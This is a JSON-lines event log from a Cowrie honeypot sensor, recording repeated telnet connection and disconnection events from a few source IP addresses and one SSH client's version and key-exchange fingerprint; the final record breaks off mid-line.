{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":39744,"dst_ip":"10.17.0.5","dst_port":23,"session":"07113c129a7d","protocol":"telnet","message":"New connection: 162.219.178.250:39744 (10.17.0.5:23) [session: 07113c129a7d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:48.539687Z"}
{"eventid":"cowrie.session.closed","duration":0.004551410675048828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:48.544109Z","src_ip":"162.219.178.250","session":"07113c129a7d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.17605185508728,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:48.639281Z","src_ip":"162.219.178.250","session":"cb3a7bd8138c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47606,"dst_ip":"10.17.0.5","dst_port":23,"session":"ec87e49d1b75","protocol":"telnet","message":"New connection: 162.219.178.250:47606 (10.17.0.5:23) [session: ec87e49d1b75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:49.013252Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":49790,"dst_ip":"10.17.0.5","dst_port":23,"session":"38e6ea73ad9f","protocol":"telnet","message":"New connection: 162.219.178.250:49790 (10.17.0.5:23) [session: 38e6ea73ad9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:49.805547Z"}
{"eventid":"cowrie.session.closed","duration":31.232440948486328,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:50.291070Z","src_ip":"162.219.178.250","session":"f5ee23c7d0ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167393684387,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:50.345776Z","src_ip":"162.219.178.250","session":"3b76ec7e59aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.55649256706238,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:50.496074Z","src_ip":"162.55.233.176","session":"815c254077fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16572117805481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:51.467551Z","src_ip":"162.219.178.250","session":"4792abc879ba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.276467084884644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:51.660432Z","src_ip":"162.219.178.250","session":"7b7ba1c90074","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.98942756652832,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:51.761282Z","src_ip":"162.219.178.250","session":"bd19d13ec6ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.980695009231567,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:52.505836Z","src_ip":"162.219.178.250","session":"1347e9cb00ed","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":55.5935959815979,"message":"Connection lost after 55 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:53.085812Z","src_ip":"162.219.178.250","session":"d1f36ed0f0d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00143194198608,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:53.166417Z","src_ip":"162.219.178.250","session":"7f7391d1be22","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35952,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c42c53f9fd5","protocol":"telnet","message":"New connection: 206.189.32.23:35952 (10.17.0.5:23) [session: 9c42c53f9fd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:53.309855Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":55888,"dst_ip":"10.17.0.5","dst_port":23,"session":"4c83d283002d","protocol":"telnet","message":"New connection: 162.219.178.250:55888 (10.17.0.5:23) [session: 4c83d283002d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:53.520121Z"}
{"eventid":"cowrie.session.closed","duration":120.00089311599731,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:58.095905Z","src_ip":"162.219.178.250","session":"6b71d47ea8b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.235790729522705,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:58.198243Z","src_ip":"162.219.178.250","session":"491decbdd57b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":57.02998447418213,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:40:58.573974Z","src_ip":"162.219.178.250","session":"c13fccbea9a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51744,"dst_ip":"10.17.0.5","dst_port":23,"session":"d48dd412dcd3","protocol":"telnet","message":"New connection: 188.208.141.113:51744 (10.17.0.5:23) [session: d48dd412dcd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:00.559706Z"}
{"eventid":"cowrie.session.closed","duration":30.859939336776733,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:01.052855Z","src_ip":"162.219.178.250","session":"1a672dc4bff9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51756,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ccd2133e3e6","protocol":"telnet","message":"New connection: 188.208.141.113:51756 (10.17.0.5:23) [session: 6ccd2133e3e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:02.701938Z"}
{"eventid":"cowrie.session.closed","duration":46.657329082489014,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:02.887930Z","src_ip":"206.189.32.23","session":"e052355644c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60522,"dst_ip":"10.17.0.5","dst_port":23,"session":"58353a7eecfc","protocol":"telnet","message":"New connection: 162.219.178.250:60522 (10.17.0.5:23) [session: 58353a7eecfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:03.620229Z"}
{"eventid":"cowrie.session.closed","duration":0.01083993911743164,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:03.630865Z","src_ip":"162.219.178.250","session":"58353a7eecfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48674201965332,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:04.312639Z","src_ip":"162.219.178.250","session":"b397ca28734f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60686,"dst_ip":"10.17.0.5","dst_port":23,"session":"be07afe7838b","protocol":"telnet","message":"New connection: 162.219.178.250:60686 (10.17.0.5:23) [session: be07afe7838b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:04.994658Z"}
{"eventid":"cowrie.session.closed","duration":0.00538182258605957,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:04.999920Z","src_ip":"162.219.178.250","session":"be07afe7838b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.523600578308105,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:05.190080Z","src_ip":"188.208.141.113","session":"4f78f1327976","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.113136768341064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:05.364477Z","src_ip":"162.219.178.250","session":"f7f3b3a51559","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00170421600342,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:05.609050Z","src_ip":"162.219.178.250","session":"585f8add1936","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":92.22418475151062,"message":"Connection lost after 92 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:06.763405Z","src_ip":"162.219.178.250","session":"2f21425c4729","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51758,"dst_ip":"10.17.0.5","dst_port":23,"session":"483da987753d","protocol":"telnet","message":"New connection: 188.208.141.113:51758 (10.17.0.5:23) [session: 483da987753d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:07.117543Z"}
{"eventid":"cowrie.session.closed","duration":30.47270679473877,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:07.556249Z","src_ip":"162.219.178.250","session":"a09f452a2502","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49704,"dst_ip":"10.17.0.5","dst_port":23,"session":"a01ef9924803","protocol":"telnet","message":"New connection: 206.189.32.23:49704 (10.17.0.5:23) [session: a01ef9924803]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:08.967064Z"}
{"eventid":"cowrie.session.closed","duration":46.911487102508545,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:12.316796Z","src_ip":"188.208.141.113","session":"a4b0ad5d4af5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39718508720398,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:16.144485Z","src_ip":"162.219.178.250","session":"d917e9311173","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57610,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0b4dd232f99","protocol":"telnet","message":"New connection: 162.219.178.250:57610 (10.17.0.5:23) [session: a0b4dd232f99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:17.202274Z"}
{"eventid":"cowrie.session.closed","duration":119.46395993232727,"message":"Connection lost after 119 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:17.717040Z","src_ip":"162.219.178.250","session":"106666c6119c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":56204,"dst_ip":"10.17.0.5","dst_port":23,"session":"2fa54a85959d","protocol":"telnet","message":"New connection: 206.189.32.23:56204 (10.17.0.5:23) [session: 2fa54a85959d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:18.225659Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58990,"dst_ip":"10.17.0.5","dst_port":23,"session":"602eab40e225","protocol":"telnet","message":"New connection: 162.219.178.250:58990 (10.17.0.5:23) [session: 602eab40e225]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:19.205555Z"}
{"eventid":"cowrie.session.closed","duration":118.2700080871582,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:19.561313Z","src_ip":"162.219.178.250","session":"f47dedae223f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.0422146320343,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:20.055352Z","src_ip":"162.219.178.250","session":"ec87e49d1b75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.771536350250244,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:20.576778Z","src_ip":"162.219.178.250","session":"38e6ea73ad9f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0019474029541,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:21.647913Z","src_ip":"162.219.178.250","session":"25ccc2208d0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":60824,"dst_ip":"10.17.0.5","dst_port":23,"session":"148149ed16be","protocol":"telnet","message":"New connection: 206.189.32.23:60824 (10.17.0.5:23) [session: 148149ed16be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:22.650249Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":45334,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b2e345d593","protocol":"telnet","message":"New connection: 188.208.141.113:45334 (10.17.0.5:23) [session: a5b2e345d593]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:23.466912Z"}
{"eventid":"cowrie.session.closed","duration":30.4910888671875,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:24.011118Z","src_ip":"162.219.178.250","session":"4c83d283002d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38332,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d93b9073d76","protocol":"telnet","message":"New connection: 162.219.178.250:38332 (10.17.0.5:23) [session: 6d93b9073d76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:24.444626Z"}
{"eventid":"cowrie.session.closed","duration":118.5600278377533,"message":"Connection lost after 118 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:25.198400Z","src_ip":"162.219.178.250","session":"9bde0991e64f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00167417526245,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:26.265170Z","src_ip":"162.219.178.250","session":"39e3b5bee2d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50708,"dst_ip":"10.17.0.5","dst_port":23,"session":"954b3a8e43c1","protocol":"telnet","message":"New connection: 188.208.141.113:50708 (10.17.0.5:23) [session: 954b3a8e43c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:30.755532Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":50724,"dst_ip":"10.17.0.5","dst_port":23,"session":"b165d10b663b","protocol":"telnet","message":"New connection: 188.208.141.113:50724 (10.17.0.5:23) [session: b165d10b663b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:31.335705Z"}
{"eventid":"cowrie.session.closed","duration":52.57681107521057,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:32.705323Z","src_ip":"206.189.32.23","session":"28447be55833","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00095319747925,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:36.707478Z","src_ip":"162.219.178.250","session":"e86a2ad647ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.33169078826904,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:37.001868Z","src_ip":"188.208.141.113","session":"806fec77f08e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.236302852630615,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:37.546026Z","src_ip":"206.189.32.23","session":"9c42c53f9fd5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00109720230103,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:37.556100Z","src_ip":"162.219.178.250","session":"3672bca32cd8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":46094,"dst_ip":"10.17.0.5","dst_port":23,"session":"48644a892357","protocol":"telnet","message":"New connection: 206.189.32.23:46094 (10.17.0.5:23) [session: 48644a892357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:38.103723Z"}
{"eventid":"cowrie.session.closed","duration":120.0016884803772,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:39.470550Z","src_ip":"162.219.178.250","session":"4d227e54a6a1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.83816075325012,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:39.539980Z","src_ip":"188.208.141.113","session":"6ccd2133e3e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":57688,"dst_ip":"10.17.0.5","dst_port":23,"session":"65b9a0dd6acd","protocol":"telnet","message":"New connection: 188.208.141.113:57688 (10.17.0.5:23) [session: 65b9a0dd6acd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:40.561603Z"}
{"eventid":"cowrie.session.closed","duration":120.00101017951965,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:40.775279Z","src_ip":"162.219.178.250","session":"5b582d448c4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.091004848480225,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:41.650559Z","src_ip":"188.208.141.113","session":"d48dd412dcd3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":38102,"dst_ip":"159.203.135.109","dst_port":23,"session":"3b0a8a873ce3","protocol":"telnet","message":"New connection: 162.55.233.176:38102 (159.203.135.109:23) [session: 3b0a8a873ce3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:43.088794Z"}
{"eventid":"cowrie.session.closed","duration":120.00175261497498,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:44.345946Z","src_ip":"162.219.178.250","session":"f45c23ffcad2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.27291560173035,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:44.390208Z","src_ip":"188.208.141.113","session":"483da987753d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.882390260696411,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:44.443862Z","src_ip":"188.208.141.113","session":"65b9a0dd6acd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00137543678284,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:45.594336Z","src_ip":"162.219.178.250","session":"fad36b2c7b55","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.47285485267639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:47.674922Z","src_ip":"162.219.178.250","session":"a0b4dd232f99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00133657455444,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:48.899987Z","src_ip":"162.219.178.250","session":"58b6c9084533","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181127786636353,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:50.386420Z","src_ip":"162.219.178.250","session":"602eab40e225","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.04299449920654,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:51.009963Z","src_ip":"206.189.32.23","session":"a01ef9924803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":110.43901228904724,"message":"Connection lost after 110 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:52.051594Z","src_ip":"162.219.178.250","session":"8653be0adb51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.313347578048706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:54.757866Z","src_ip":"162.219.178.250","session":"6d93b9073d76","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":51794,"dst_ip":"10.17.0.5","dst_port":23,"session":"7744891fc6b5","protocol":"telnet","message":"New connection: 188.208.141.113:51794 (10.17.0.5:23) [session: 7744891fc6b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:58.260849Z"}
{"eventid":"cowrie.session.closed","duration":40.78258395195007,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:59.008136Z","src_ip":"206.189.32.23","session":"2fa54a85959d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.95","src_port":22091,"dst_ip":"159.203.135.109","dst_port":22,"session":"d037faf81689","protocol":"ssh","message":"New connection: 193.24.211.95:22091 (159.203.135.109:22) [session: d037faf81689]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:59.086367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:41:59.093717Z","src_ip":"193.24.211.95","session":"d037faf81689","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 